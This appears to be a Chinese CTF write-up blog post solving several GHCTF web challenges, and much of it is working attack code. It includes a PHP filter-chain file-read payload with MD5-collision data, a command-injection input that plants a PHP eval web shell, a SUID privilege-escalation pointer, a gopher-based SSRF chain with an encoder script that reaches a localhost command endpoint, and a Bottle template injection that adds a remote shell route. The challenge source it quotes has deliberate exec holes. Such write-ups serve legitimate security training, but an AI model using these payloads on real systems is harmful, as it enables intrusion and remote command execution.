curl -X POST http://node1.anna.nssctf.cn:28468/?file=php://filter/read=zlib.inflate|zlib.inflate|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|convert.iconv.latin1.latin1/resource=data:text/plain;base64,e3vXt%2b/NNlG2gL73WSu0QrdmLXC8806umlMwJ0t6ZsqUo6m8M1Pkd4rEC9yQY81grntgqbBPO2zz1%2bDpK1ZmsTLgBQlcp4uOhOaFr0wOy994PeqZ2Ek2Rvw6ZhzZJFM49XboqxlXo99snbbTdZMjfg0Maht13GOelk21SvsqVr02NW9ijgABK07V3nyk9VWr9EzW2/yG94/D9svW/Pxxetv11P8rfm9%2b917%2b9%2b3n8qULPY9VLX3/udtNxZ6fgAv%2b3LTN/vLphpvk5tLuv5vfyZfW231/Xlv//8Z9u%2b9Rvyuu2NXeq/v9c9rr%2bP3x8ie38%2bA37P/03/rXuU%2b83x%2bjr7D/v02a/fUb99/9/lxbb/erYvXvte%2b%2bp%2b7/f4F/nv2b89e/Xv9ut/fvjvvx1w/euh80L7n27etf94/2/0v79Hybvf160/zff2v3138rftb%2b%2bEzl2u3Xp77e%2bu/4322x6b/vXN9eW/um3%2bbc5rvr/ketm/rdrvbJqevbuZ9avpf/%2b%2bfvj8e7wuKeVq7dH3s8/76b3Hfv9X%2bd/gra1dfe6v9/N9q0532Ry6fPbPj9YdCbCgvlXqPN9f8fv5%2bYQygg2z539Jgu3ioXPcXT5VL9qOJRxaOK6ay44aXu1mM%2b/bt7ltf2bnLpTJEmYLZP/krTtKo7qTZvs6eoeqncJqA8ocp7reHlx3qPM%2bMX6wQq3SRQiDBcjnolFr7yo%2b3db8r55qem/1j55/X6/3%2biNQUTrQk5LHtldMzSY99LbvdLPe12bXlLQL3B2qV5hVOl7l/Otc%2baoi8m%2bJ8RAA== -d "a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2"
# -*- coding: UTF-8 -*- #
"""
@filename:post.py
@auther:JunLeon
@time:2025--23
"""
import requests

url = "http://node1.anna.nssctf.cn:28468/"

params = {
    "file": "php://filter/read=zlib.inflate|zlib.inflate|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|convert.iconv.latin1.latin1/resource=data:text/plain;base64,e3vXt%2b/NNlG2gL73WSu0QrdmLXC8806umlMwJ0t6ZsqUo6m8M1Pkd4rEC9yQY81grntgqbBPO2zz1%2bDpK1ZmsTLgBQlcp4uOhOaFr0wOy994PeqZ2Ek2Rvw6ZhzZJFM49XboqxlXo99snbbTdZMjfg0Maht13GOelk21SvsqVr02NW9ijgABK07V3nyk9VWr9EzW2/yG94/D9svW/Pxxetv11P8rfm9%2b917%2b9%2b3n8qULPY9VLX3/udtNxZ6fgAv%2b3LTN/vLphpvk5tLuv5vfyZfW231/Xlv//8Z9u%2b9Rvyuu2NXeq/v9c9rr%2bP3x8ie38%2bA37P/03/rXuU%2b83x%2bjr7D/v02a/fUb99/9/lxbb/erYvXvte%2b%2bp%2b7/f4F/nv2b89e/Xv9ut/fvjvvx1w/euh80L7n27etf94/2/0v79Hybvf160/zff2v3138rftb%2b%2bEzl2u3Xp77e%2bu/4322x6b/vXN9eW/um3%2bbc5rvr/ketm/rdrvbJqevbuZ9avpf/%2b%2bfvj8e7wuKeVq7dH3s8/76b3Hfv9X%2bd/gra1dfe6v9/N9q0532Ry6fPbPj9YdCbCgvlXqPN9f8fv5%2bYQygg2z539Jgu3ioXPcXT5VL9qOJRxaOK6ay44aXu1mM%2b/bt7ltf2bnLpTJEmYLZP/krTtKo7qTZvs6eoeqncJqA8ocp7reHlx3qPM%2bMX6wQq3SRQiDBcjnolFr7yo%2b3db8r55qem/1j55/X6/3%2biNQUTrQk5LHtldMzSY99LbvdLPe12bXlLQL3B2qV5hVOl7l/Otc%2baoi8m%2bJ8RAA=="
}
data = {
    "a": "TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak",
  "b": "TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak"
}

response = requests.post(url, params=params, data=data)
print(response.text)

GetShell

< ?php
highlight_file(__FILE__);

class ConfigLoader {
    private $config;

    public function __construct() {
        $this->config = [
            'debug' => true,
            'mode' => 'production',
            'log_level' => 'info',
            'max_input_length' => 100,
            'min_password_length' => 8,
            'allowed_actions' => ['run', 'debug', 'generate']
        ];
    }

    public function get($key) {
        return $this->config[$key] ?? null;
    }
}

class Logger {
    private $logLevel;

    public function __construct($logLevel) {
        $this->logLevel = $logLevel;
    }

    public function log($message, $level = 'info') {
        if ($level === $this->logLevel) {
            echo "[LOG] $message\n";
        }
    }
}

class UserManager {
    private $users = [];
    private $logger;

    public function __construct($logger) {
        $this->logger = $logger;
    }

    public function addUser($username, $password) {
        if (strlen($username) < 5) {
            return "Username must be at least 5 characters";
        }

        if (strlen($password) < 8) {
            return "Password must be at least 8 characters";
        }

        $this->users[$username] = password_hash($password, PASSWORD_BCRYPT);
        $this->logger->log("User $username added");
        return "User $username added";
    }

    public function authenticate($username, $password) {
        if (isset($this->users[$username]) && password_verify($password, $this->users[$username])) {
            $this->logger->log("User $username authenticated");
            return "User $username authenticated";
        }
        return "Authentication failed";
    }
}

class StringUtils {
    public static function sanitize($input) {
        return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
    }

    public static function generateRandomString($length = 10) {
        return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
    }
}

class InputValidator {
    private $maxLength;

    public function __construct($maxLength) {
        $this->maxLength = $maxLength;
    }

    public function validate($input) {
        if (strlen($input) > $this->maxLength) {
            return "Input exceeds maximum length of {$this->maxLength} characters";
        }
        return true;
    }
}

class CommandExecutor {
    private $logger;

    public function __construct($logger) {
        $this->logger = $logger;
    }

    public function execute($input) {
        if (strpos($input, ' ') !== false) {
            $this->logger->log("Invalid input: space detected");
            die('No spaces allowed');
        }

        @exec($input, $output);
        $this->logger->log("Result: $input");
        return implode("\n", $output);
    }
}

class ActionHandler {
    private $config;
    private $logger;
    private $executor;

    public function __construct($config, $logger) {
        $this->config = $config;
        $this->logger = $logger;
        $this->executor = new CommandExecutor($logger);
    }

    public function handle($action, $input) {
        if (!in_array($action, $this->config->get('allowed_actions'))) {
            return "Invalid action";
        }

        if ($action === 'run') {
            $validator = new InputValidator($this->config->get('max_input_length'));
            $validationResult = $validator->validate($input);
            if ($validationResult !== true) {
                return $validationResult;
            }

            return $this->executor->execute($input);
        } elseif ($action === 'debug') {
            return "Debug mode enabled";
        } elseif ($action === 'generate') {
            return "Random string: " . StringUtils::generateRandomString(15);
        }

        return "Unknown action";
    }
}

if (isset($_REQUEST['action'])) {
    $config = new ConfigLoader();
    $logger = new Logger($config->get('log_level'));

    $actionHandler = new ActionHandler($config, $logger);
    $input = $_REQUEST['input'] ?? '';
    echo $actionHandler->handle($_REQUEST['action'], $input);
} else {
    $config = new ConfigLoader();
    $logger = new Logger($config->get('log_level'));
    $userManager = new UserManager($logger);

    if (isset($_POST['register'])) {
        $username = $_POST['username'];
        $password = $_POST['password'];

        echo $userManager->addUser($username, $password);
    }

    if (isset($_POST['login'])) {
        $username = $_POST['username'];
        $password = $_POST['password'];

        echo $userManager->authenticate($username, $password);
    }

    $logger->log("No action provided, running default logic");
} [LOG] No action provided, running default logic
  #可以看到CommandExecutor很危险,直接exec,还有get会有一个action和input可传会进ActionHandler->handle();当action是run时,会创建InputValidator实例,检查输入长度是否超过100。如果通过验证,就调用CommandExecutor的execute方法.
    ?action=run&input=echo${IFS}"<?php${IFS}eval(\$_POST[pass]);?>"${IFS}>pass.php

?action=run&input=echo${IFS}"< ?php${IFS}eval(\$_POST[pass]);?>"${IFS}>pass.php

Linux提权-suid相关提权思路 - Yuy0ung - 博客园

利用命令均可在这个网站上查询GTFOBins,这里不再赘述

so,在里面搜wc,很容易就搜到了wc | GTFOBins

belike

但要注意观察文档中的是在./wc,我们的是在/var/www/html/wc里,改一下。


Goph3rrr

from flask import Flask, request, send_file, render_template_string
import os
from urllib.parse import urlparse, urlunparse
import subprocess
import socket
import hashlib
import base64
import random

app = Flask(__name__)
BlackList = [
    "127.0.0.1"
]

@app.route('/')
def index():
    return '''
    <html>
        <head>
            <style>
                body {
                    background-image: url('d‘)/* 背景图像 */
                    background-size: cover; /* 背景图片覆盖整个页面 */
                    height: 100vh; /* 页面高度填满浏览器窗口 */
                    display: flex;
                    justify-content: center; /* 水平居中 */
                    align-items: center; /* 垂直居中 */
                    color: white; /* 字体颜色 */
                    font-family: Arial, sans-serif; /* 字体 */
                    text-align: center; /* 文字居中 */
                }
                h1 {
                    font-size: 50px;
                    transition: transform 0.2s ease-in-out; /* 设置浮动效果过渡时间 */
                }
                h1:hover {
                    transform: translateY(-10px); /* 向上浮动 */
                }
            </style>
        </head>
        <body>
            <h1>Hello Ctfer!!! Welcome to the GHCTF challenge! (≧∇≦)</h1>
        </body>
    </html>
    '''

@app.route('/Login', methods=['GET', 'POST'])
def login():
    junk_code()
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username in users and users[username]['password'] == hashlib.md5(password.encode()).hexdigest():
            return b64e(f"Welcome back, {username}!")
        return b64e("Invalid credentials!")
    return render_template_string("""
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Login</title>
            <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
            <style>
                body {
                    background-color: #f8f9fa;
                }
                .container {
                    max-width: 400px;
                    margin-top: 100px;
                }
                .card {
                    border: none;
                    border-radius: 10px;
                    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
                }
                .card-header {
                    background-color: #007bff;
                    color: white;
                    text-align: center;
                    border-radius: 10px 10px 0 0;
                }
                .btn-primary {
                    background-color: #007bff;
                    border: none;
                }
                .btn-primary:hover {
                    background-color: #0056b3;
                }
            </style>
        </head>
        <body>
            <div class="container">
                <div class="card">
                    <div class="card-header">
                        <h3>Login</h3>
                    </div>
                    <div class="card-body">
                        <form method="POST">
                            <div class="mb-3">
                                <label for="username" class="form-label">Username</label>
                                <input type="text" class="form-control" id="username" name="username" required>
                            </div>
                            <div class="mb-3">
                                <label for="password" class="form-label">Password</label>
                                <input type="password" class="form-control" id="password" name="password" required>
                            </div>
                            <button type="submit" class="btn btn-primary w-100">Login</button>
                        </form>
                    </div>
                </div>
            </div>
        </body>
        </html>
    """)

@app.route('/Gopher')
def visit():
    url = request.args.get('url')
    if url is None:
        return "No url provided :)"
    url = urlparse(url)
    realIpAddress = socket.gethostbyname(url.hostname)
    if url.scheme == "file" or realIpAddress in BlackList:
        return "No (≧∇≦)"
    result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True)
    #urlunparse 是 urllib.parse 模块中的函数,用于将 urlparse 解析后的 URL 对象重新组合成 URL 字符串。
    return result.stdout

@app.route('/RRegister', methods=['GET', 'POST'])
def register():
    junk_code()
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username in users:
            return b64e("Username already exists!")
        users[username] = {'password': hashlib.md5(password.encode()).hexdigest()}
        return b64e("Registration successful!")
    return render_template_string("""
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Register</title>
            <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
            <style>
                body {
                    background-color: #f8f9fa;
                }
                .container {
                    max-width: 400px;
                    margin-top: 100px;
                }
                .card {
                    border: none;
                    border-radius: 10px;
                    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
                }
                .card-header {
                    background-color: #28a745;
                    color: white;
                    text-align: center;
                    border-radius: 10px 10px 0 0;
                }
                .btn-success {
                    background-color: #28a745;
                    border: none;
                }
                .btn-success:hover {
                    background-color: #218838;
                }
            </style>
        </head>
        <body>
            <div class="container">
                <div class="card">
                    <div class="card-header">
                        <h3>Register</h3>
                    </div>
                    <div class="card-body">
                        <form method="POST">
                            <div class="mb-3">
                                <label for="username" class="form-label">Username</label>
                                <input type="text" class="form-control" id="username" name="username" required>
                            </div>
                            <div class="mb-3">
                                <label for="password" class="form-label">Password</label>
                                <input type="password" class="form-control" id="password" name="password" required>
                            </div>
                            <button type="submit" class="btn btn-success w-100">Register</button>
                        </form>
                    </div>
                </div>
            </div>
        </body>
        </html>
    """)

@app.route('/Manage', methods=['POST'])
def cmd():
    if request.remote_addr != "127.0.0.1":
        return "Forbidden!!!"
    if request.method == "GET":
        return "Allowed!!!"
    if request.method == "POST":
        return os.popen(request.form.get("cmd")).read()

@app.route('/Upload', methods=['GET', 'POST'])
def upload_avatar():
    junk_code()
    if request.method == 'POST':
        username = request.form.get('username')
        if username not in users:
            return b64e("User not found!")
        file = request.files.get('avatar')
        if file:
            file.save(os.path.join(avatar_dir, f"{username}.png"))
            return b64e("Avatar uploaded successfully!")
        return b64e("No file uploaded!")
    return render_template_string("""
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Upload Avatar</title>
            <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
            <style>
                body {
                    background-color: #f8f9fa;
                }
                .container {
                    max-width: 400px;
                    margin-top: 100px;
                }
                .card {
                    border: none;
                    border-radius: 10px;
                    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
                }
                .card-header {
                    background-color: #dc3545;
                    color: white;
                    text-align: center;
                    border-radius: 10px 10px 0 0;
                }
                .btn-danger {
                    background-color: #dc3545;
                    border: none;
                }
                .btn-danger:hover {
                    background-color: #c82333;
                }
            </style>
        </head>
        <body>
            <div class="container">
                <div class="card">
                    <div class="card-header">
                        <h3>Upload Avatar</h3>
                    </div>
                    <div class="card-body">
                        <form method="POST" enctype="multipart/form-data">
                            <div class="mb-3">
                                <label for="username" class="form-label">Username</label>
                                <input type="text" class="form-control" id="username" name="username" required>
                            </div>
                            <div class="mb-3">
                                <label for="avatar" class="form-label">Avatar</label>
                                <input type="file" class="form-control" id="avatar" name="avatar" required>
                            </div>
                            <button type="submit" class="btn btn-danger w-100">Upload</button>
                        </form>
                    </div>
                </div>
            </div>
        </body>
        </html>
    """)


@app.route('/app.py')
def download_source():
    return send_file(__file__, as_attachment=True)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

Python中urllib.parse 里面的 urlparse 方法理解和使用 - AlphaGeek - 博客园

重定向和绕过都不行,有个urlparse,还需要是8000端口

内层Gopher协议+外层GET请求共两次编码,但要注意:

需要注意的是,quote() 函数默认只对 ASCII 字符进行编码,对于非 ASCII 字符(如中文),你需要指定 safe=''encoding='utf-8' 参数,以确保所有字符都被正确编码。

import urllib.parse

# 原始 HTTP 请求(换行符为 \n)
raw_request = """POST /Manage HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

cmd=env
"""

# 对换行符和特殊字符进行编码
encoded_request = urllib.parse.quote(raw_request, safe='').replace('%0A', '%250A').replace('%20', '%2520').replace('%3A', '%253A')

# 拼接 Gopher URL
gopher_url = f"gopher://127.0.0.2:8000/_{encoded_request}"
print(gopher_url)

#gopher://127.0.0.2:8000/_POST%2520%2FManage%2520HTTP%2F1.1%250AHost%253A%2520127.0.0.1%253A8000%250AContent-Type%253A%2520application%2Fx-www-form-urlencoded%250AContent-Length%253A%25207%250A%250Acmd%3Denv%250A

so,还是用工具吧

/Gopher?url=gopher://127.0.0.2:8000/_POST%2520%252FManage%2520HTTP%252
 F1.1%250Ahost%253A127.0.0.1%250AContent-Type%253Aapplication%252Fx-www-for
 m-urlencoded%250AContent-Length%253A7%250A%250Acmd%253Denv
 
 /Gopher?url=gopher://0.0.0.0:8000/_POST%2520%252FManage%2520HTTP%252
 F1.1%250Ahost%253A127.0.0.1%250AContent-Type%253Aapplication%252Fx-www-for
 m-urlencoded%250AContent-Length%253A7%250A%250Acmd%253Denv

127.0.0.1 与 127.0.0.2 这两个 IP 地址的区别-CSDN博客

0.0.0.0详解_0.0.0.0是什么ip地址-CSDN博客


Message in a Bottle plus

在python⾥%print这本身就是⼀个错误的语法,为了让他可以通过语法检测 然⽽语法检测这种东⻄肯定针对的是代码,那么我们将他变成字符串就可以了,⽤引号包裹就可以绕过ast的检测

'''
% from bottle import Bottle, request
% app=__import__('sys').modules['__main__'].__dict__['app']
% app.route("/shell","GET",lambda :__import__('os').popen(request.params.get('lalala')).read())
'''

建议用burp发



文章作者: q1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1n9 !
  目录